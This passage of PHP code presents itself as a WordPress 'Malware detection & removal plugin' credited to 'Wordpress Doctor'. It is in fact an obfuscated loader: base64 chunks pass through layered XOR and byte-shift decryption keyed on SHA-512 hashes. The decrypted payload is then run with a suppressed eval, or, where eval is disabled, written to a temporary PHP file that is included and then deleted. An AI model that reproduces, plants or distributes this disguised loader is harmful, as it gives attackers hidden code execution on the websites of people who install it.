"dU5nR2V6STlGY29WQ1Yxc2N1QjkwbFFSR2hxczlPelltWFBqSEtqWTRQcGsxc00zSzFrMmkrTmdlM1AybEUxa1BUNjMvR0JjQlRMUHJYak1ld3VsSXltRGZuVk5DdEhuUzBUT3Y4U0U0UWF8fGZjNzA4YTU4ODE0ODUzZDRhMGQ1YmYwNzhmYzhlM2Zk", "YkVKc0hGTHcxM0dLVGx4WTZZSk52b3VXL0QxdWZnQzBiK0NiUUw1ZVZpaFMzK2FnSm43bFZpZGNnd0w5T2FqVm91dlNxby9JNkx1a3RkM09jY3JwZHx8NjZiZWU3ODcxNjhjNDEzMTJiNGMyNTg5NWVkYjY2NDYzNjhm", "L2RQUjZRdFBuNk5IdWxuUWhCTnNlSGFEdno3Rm5YbzlHTysyRDI3anRBZGdPSG5OR3VWNUM4Q3lScFNYZmRYMkY4a0xvUjgwd0RSSnhjTEVHTSt8fDU2ZjU4YzdmZjc2MGY4YTZmZGMzYjQ=", "OS9PQ2VRbEhyYUZvV1BRTDlRV3d5dzdrV25nWGdBbUJSOHlQdjNZaGdDUGVCek5SK3BvWU10aWgyZnVqWmo2cmJjYTBkREQ3d0FLfHw5ZTNkY2I5OTU5Y2ZlYWJhYmVhNzU1MmY5MmMwYWRiNzRmYjJiYw==", "dVFUVTdUd1JFM0dWR2NaOXZWWk9nb0lLaXhDMHYyMUVQTDNqK0RlS21RL1Z5U3UxOElsQVVLRXpJbjViei9sN200L2dTV0JnR1BlQ3Y3cHlGcHhsd2RvL1Fac3lPTmVXd0V3bHBjZWxXVjUzdEphby9BfHw0NjkxZWM1MzUyNjYwN2Q3MzM3MzA0YTE=", "RC90YVp4YnRNQW1MOC9iSUhaMjdLejhqSXNXcVdNUUYvZzRZWjlpc1NWNzVZa3RhUm1QaHBMMGZBdUk3T3B5ZmEyMGx5aklFUWZ0ZXx8MTVjNWVjOTUzYmQ4NzA0ZGNiYzM3OTc3NTBkZg==", "TVRTNktmc3BFam1TOW55bVllWkMraWJRZE1DbFlqQ1hRZGVXS2tTVDZ4OXdxRmZyQXFtRzlQNFd2VTlIQkh1T0EyejBycHI3V3V1WXErbGxtb3d6UnlGdXhRRnx8ZTNiMDAxNjc3YjYwYzdhMzYyYzk5YmJiZjRhZTIzMzQxODI0", "U0FSNzBMdFp5eCtPdC9XTWFMbDRHdG5nYXJ4TldvOEZBek5QWmp2SlJTUXVXNVFCSlJzc0s0bjcxdUl2b2d4aXBmelY3WVFZTjA3Rzg9fHxiMWI3YTNjNDRlNDlhOWEyODcyZmRmZjY3Mg=="];
$gLMqTvV = "ab1e5badccee4510d71ffb1432f9a95944940db620c47fa8e755b4ca60af5068";
$AnPrChN = "3e3fbe5ae5348818e759795af703f6e270ba5ef5a245dad7cce8fe232d648401";
$zfHDPLct = 475152;
$NkEaTrJMAPxR = 520248;
$WyvpKxIjOLiYP = 194;
$OCQauJR = "NDQzNzhjYzFiYWQzZGQ4ODI3MjhjYTMwZDRkMWM5NmI=";
$KGmRFkqgNM = "";
foreach ($bogxemkl as $vkJguYdqXLFW) {
    $pOZjdErQgbK = $OchWMkzyH[0]($vkJguYdqXLFW);
    $iCLFDjkwU = $OchWMkzyH[8]("||", $pOZjdErQgbK);
    $KGmRFkqgNM .= $iCLFDjkwU[0];
}
$KGmRFkqgNM = $OchWMkzyH[2]($KGmRFkqgNM);
$KGmRFkqgNM = $OchWMkzyH[0]($KGmRFkqgNM);
$KGmRFkqgNM = $OchWMkzyH[1]($KGmRFkqgNM);
$KGmRFkqgNM = $OchWMkzyH[3]($KGmRFkqgNM);
$KGmRFkqgNM = $OchWMkzyH[0]($KGmRFkqgNM);
$oKtrgTALaE = $OchWMkzyH[7]("sha512", $gLMqTvV . $zfHDPLct);
$ixZSkCmar = "";
for ($QeVmDXMYv = 0; $QeVmDXMYv < $OchWMkzyH[6]($KGmRFkqgNM); $QeVmDXMYv++) {
    $ixZSkCmar .= $OchWMkzyH[4]($OchWMkzyH[5]($KGmRFkqgNM[$QeVmDXMYv]) ^ $OchWMkzyH[5]($oKtrgTALaE[$QeVmDXMYv % $OchWMkzyH[6]($oKtrgTALaE)]));
}
$ixZSkCmar = $OchWMkzyH[1]($ixZSkCmar);
$wgEKexTa = "";
for ($MQIaONSLpDnB = 0; $MQIaONSLpDnB < $OchWMkzyH[6]($ixZSkCmar); $MQIaONSLpDnB++) {
    $wgEKexTa .= $OchWMkzyH[4](($OchWMkzyH[5]($ixZSkCmar[$MQIaONSLpDnB]) - $WyvpKxIjOLiYP + 256) % 256);
}
$dWwQaFN = $OchWMkzyH[7]("sha512", $AnPrChN . $NkEaTrJMAPxR);
$ZHBmwMjKh = "";
for ($EGdrHTWQLNbMh = 0; $EGdrHTWQLNbMh < $OchWMkzyH[6]($wgEKexTa); $EGdrHTWQLNbMh++) {
    $ZHBmwMjKh .= $OchWMkzyH[4]($OchWMkzyH[5]($wgEKexTa[$EGdrHTWQLNbMh]) ^ $OchWMkzyH[5]($dWwQaFN[$EGdrHTWQLNbMh % $OchWMkzyH[6]($dWwQaFN)]));
}
$XkQshNtGgTvFK = $OchWMkzyH[8]($OchWMkzyH[0]("NDQzNzhjYzFiYWQzZGQ4ODI3MjhjYTMwZDRkMWM5NmI="), $ZHBmwMjKh);
if ($OchWMkzyH[9]($XkQshNtGgTvFK) >= 4) {
    $ZHBmwMjKh = $XkQshNtGgTvFK[2];
}
if (!in_array("eval", array_map("trim", explode(",", ini_get("disable_functions"))))) {
    @eval($ZHBmwMjKh);
} else {
    $eVjipSCl = sys_get_temp_dir() . "/" . md5(uniqid()) . ".php";
    @file_put_contents($eVjipSCl, "<?php " . $ZHBmwMjKh);
    include $eVjipSCl;
    @unlink($eVjipSCl);
}

Malware detection & removal plugin for WordPress

（C）2020 Wordpress Doctor All rights reserved.